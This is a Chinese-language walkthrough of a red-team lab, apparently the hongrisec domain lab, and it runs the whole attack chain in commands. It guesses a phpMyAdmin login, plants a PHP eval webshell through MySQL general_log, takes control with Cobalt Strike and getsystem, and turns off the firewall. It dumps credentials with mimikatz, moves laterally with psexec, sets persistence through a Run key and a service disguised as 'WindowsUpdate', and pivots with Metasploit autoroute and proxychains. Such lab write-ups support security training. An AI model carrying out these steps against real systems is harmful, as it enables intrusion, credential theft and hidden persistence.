环境说明:
win7 web服务器
外网ip:192.168.147.129
内网IP:192.168.52.128
win2008 DC域控
内网ip:192.168.52.138
win2k3 域成员
内网ip:192.168.52.141
所有主机密码均为hongrisec@2019
1、信息收集,arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.147.1/24

快速发现活跃主机:仅确认哪些 IP 在线,不检查服务或端口。
优化扫描效率:通过大主机组和高并行度,加速对大子网的探测(适合内网等可控环境)
2、nmap -T4 -A 192.168.147.129 -p 1-65535 -oN nmap.A
-oN nmap.A 保存结果到文件 nmap.A

3、扫描出80和3306端口,目录扫描,有http://192.168.147.129/phpMyAdmin/

4、发现l.php探针和phpmyadmin目录,访问探针,暴露了该服务器使用的是phpstudy,所以猜测mysql账号密码为root/root,成功登录
5、尝试写入木马
常见利用mysql获取shell的方法:
INTO OUTFILE 是MySQL中的一个SQL子句,用于将查询结果导出到服务器上的一个文件中
方法1:select '一句话木马' into dumpfile/outfile '绝对路径'(outfile可导多行,dumpfile只导一行)。此方法条件:
①secure_file_priv变量非NULL,即数据库不限制文件的导入导出(使用select @@secure_file_priv; 查看)
②用户拥有root权限
③知道当前网站的绝对路径
方法2:利用日志文件
show global variables like "%secure%";
查询secure_file_priv参数为NULL,所以不能通过into outfile方式写马

general_log_file指定了MySQL通用查询日志的存储路径和文件名,该日志会记录所有到达MySQL服务器的SQL语句
查询是否开启日志,虽然未开启,但是可以通过SQL语句修改
show global variables like "%general_log%";

开启日志,并设置日志文件为a.php
SET GLOBAL general_log='ON';
set global general_log_file='C:\\phpStudy\\WWW\\a.php';
设置成功以后,所以的查询语句都会被记录到日志文件中
SELECT "<?php eval($_POST['b']);?>";
本身只是一个 SQL 查询,返回一个字符串。
但如果这段代码被写入PHP文件(如通过 SQL 注入),就会变成一个 WebShell,允许攻击者执行任意代码。
6、使用CS上线,上线成功


权限提升,依次输入以下命令
getuid
getsystem

关闭防火墙:
netsh advfirewall set allprofiles state off
接着信息收集
net view 查看当前局域网的共享计算机(依赖 SMB 协议,网络通信协议)
发现还有两台主机,其中一台为PDC域控
ipconfig /all
发现内网网段


横向移动:
使用mimikatz获取密码和hash
logonpasswords

利用SMB来横向移动,创建一个SMB监听器,在目标列表选择主机进行psexec横向移动
另一个台同理



7、权限维持
shell REG add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v phpstudy /d "C:\phpStudy\WWW\beacon.exe" /f
不需要手动点击 beacon.exe,它会自动实现权限维持


设置一个名为WindowsUpdate的系统开机自启服务,通过此命令启动的是SYSTEM权限
shell sc create "WindowsUpdate" binpath= "cmd /C start "C:\phpStudy\WWW\beacon.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate

两种方法都是在用户登录后才能上线,但第二种却直接获得SYSTEM权限
补充:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
Windows 批处理脚本,用于快速扫描 192.168.52.0/24 子网中所有活跃的 IP 地址(192.168.52.1 到 192.168.52.254),并筛选出能响应的主机

run get_local_subnets
run autoroute -s 192.168.52.0/24
run autoroute -p
Background
use auxiliary/server/socks_proxy
set SRVPORT 8000
set SRVLHOST 192.168.147.128
run
配置proxychains.conf文件
vim /etc/proxychains.conf
探测开放的端口
proxychains4 nmap -Pn -sT -p 22,80,135,443,445,3389 192.168.52.138
